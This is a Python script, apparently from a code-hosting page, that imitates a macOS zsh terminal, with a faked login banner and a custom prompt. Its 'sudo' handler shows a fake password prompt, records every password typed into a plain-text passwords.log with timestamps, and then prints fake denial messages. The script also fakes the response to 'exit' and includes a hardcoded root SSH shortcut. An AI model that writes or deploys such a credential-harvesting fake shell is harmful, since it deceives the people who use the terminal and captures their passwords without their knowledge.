131 lines
5.2 KiB
Python
131 lines
5.2 KiB
Python
import os, readline, time, getpass, sys, re, shlex, subprocess, random
|
|
from datetime import datetime
|
|
|
|
# 自动补全功能,基于系统命令和当前目录的文件
|
|
def completer(text, state):
|
|
# 获取系统命令
|
|
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
|
|
# 获取当前目录的文件和文件夹
|
|
local_files = os.listdir(os.getcwd())
|
|
# 合并系统命令和当前目录的文件
|
|
matches = [cmd for cmd in commands + local_files if cmd.startswith(text)]
|
|
return matches[state] if state < len(matches) else None
|
|
|
|
# # 获取真正的 Last login 信息
|
|
# def get_last_login():
|
|
# try:
|
|
# # 使用 `last` 命令获取登录信息
|
|
# result = subprocess.run(['last', '-1'], stdout=subprocess.PIPE, text=True)
|
|
# last_login_line = result.stdout.splitlines()[0] # 获取第一行
|
|
# return last_login_line
|
|
# except Exception as e:
|
|
# return "Last login: unknown" # 如果出错,返回默认值
|
|
|
|
# 模拟一个简单的 zsh 终端
|
|
def pseudo_zsh():
|
|
# 配置 readline 的自动补全功能
|
|
readline.parse_and_bind("tab: complete")
|
|
readline.set_completer(completer)
|
|
|
|
|
|
|
|
os.system("clear") # 清屏
|
|
subprocess.run("cd /", shell=True) # 切换到用户目录
|
|
print(f"Last login: {datetime.now().strftime('%a %b %d %H:%M:%S %Y')} on ttys000")
|
|
|
|
while True:
|
|
try:
|
|
dir = os.getcwd()
|
|
if dir == '/':
|
|
CmdDir = '/'
|
|
elif re.match(dir, "/home/*"): # 用户目录下的任意文件夹
|
|
CmdDir = '~'
|
|
elif re.match(dir, "*PyShell*"):
|
|
CmdDir = '~/'
|
|
else:
|
|
CmdDir = dir.split('/')[-1]
|
|
|
|
if dir.split('/')[-1] == 'PyShell' :
|
|
CmdDir = '~/'
|
|
|
|
# 显示提示符并获取用户输入
|
|
cmd = input(f"20250910553@何相龙 {CmdDir} % ")
|
|
|
|
# 如果输入特定命令 "hxl",退出程序
|
|
if cmd.strip() == "exit":
|
|
print("zsh: command not found: exit")
|
|
break
|
|
|
|
# 使用 shlex 分割用户输入为命令和参数
|
|
args = shlex.split(cmd)
|
|
if not args: # 如果输入为空,跳过本次循环
|
|
continue
|
|
|
|
if args[0] == 'cd':
|
|
try:
|
|
os.chdir(args[1]) # 切换到指定目录
|
|
# 更新终端窗口标题
|
|
CmdDir = os.getcwd().split('/')[-1]
|
|
sys.stdout.write(f"\033]0;20250910553@何相龙 {CmdDir}\007")
|
|
sys.stdout.flush()
|
|
except IndexError:
|
|
print("cd: missing argument") # 缺少参数
|
|
except FileNotFoundError:
|
|
print(f"cd: no such file or directory: {args[1]}") # 目录不存在
|
|
continue
|
|
|
|
if args[0] == 'l':
|
|
subprocess.run(['ls','-l']) # 执行 ls 命令
|
|
|
|
if args[0] == 'ssh1':
|
|
subprocess.run(['ssh','root@10.147.17.161'])
|
|
|
|
if args[0] == 'update':
|
|
try:
|
|
print("Updating code...")
|
|
subprocess.run(['git', 'pull'])
|
|
subprocess.run(['git', 'push'])
|
|
print("Code synchronized successfully.")
|
|
print("Restarting the program...")
|
|
time.sleep(2) # 等待 2 秒
|
|
os.execv(sys.executable, ['python3'] + sys.argv) # 重新运行程序
|
|
except Exception as e:
|
|
print(f"Error during update: {e}")
|
|
|
|
if args[0] == 'sudo':
|
|
flight1 = True
|
|
a = 0
|
|
for attempt in range(3): # 循环 3 次
|
|
a += 1
|
|
fake_password = getpass.getpass("Password: ")
|
|
if fake_password == "1234":
|
|
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
|
flight1 = False
|
|
break
|
|
with open("passwords.log", "a") as f:
|
|
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
|
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
|
delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
|
|
time.sleep(delay) # 模拟延迟
|
|
if a != 3:
|
|
print("Sorry, try again.")
|
|
if flight1:
|
|
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
|
continue
|
|
|
|
# 执行普通命令
|
|
try:
|
|
subprocess.run(args)
|
|
except FileNotFoundError:
|
|
print(f"zsh: command not found: {args[0]}")
|
|
|
|
# 修改终端窗口标题
|
|
sys.stdout.write(f"\033]0;zsh\007") # 使用 ANSI 转义序列设置标题
|
|
sys.stdout.flush()
|
|
except KeyboardInterrupt:
|
|
print(f"^C")
|
|
except EOFError:
|
|
print(f"")
|
|
|
|
if __name__ == "__main__":
|
|
pseudo_zsh() |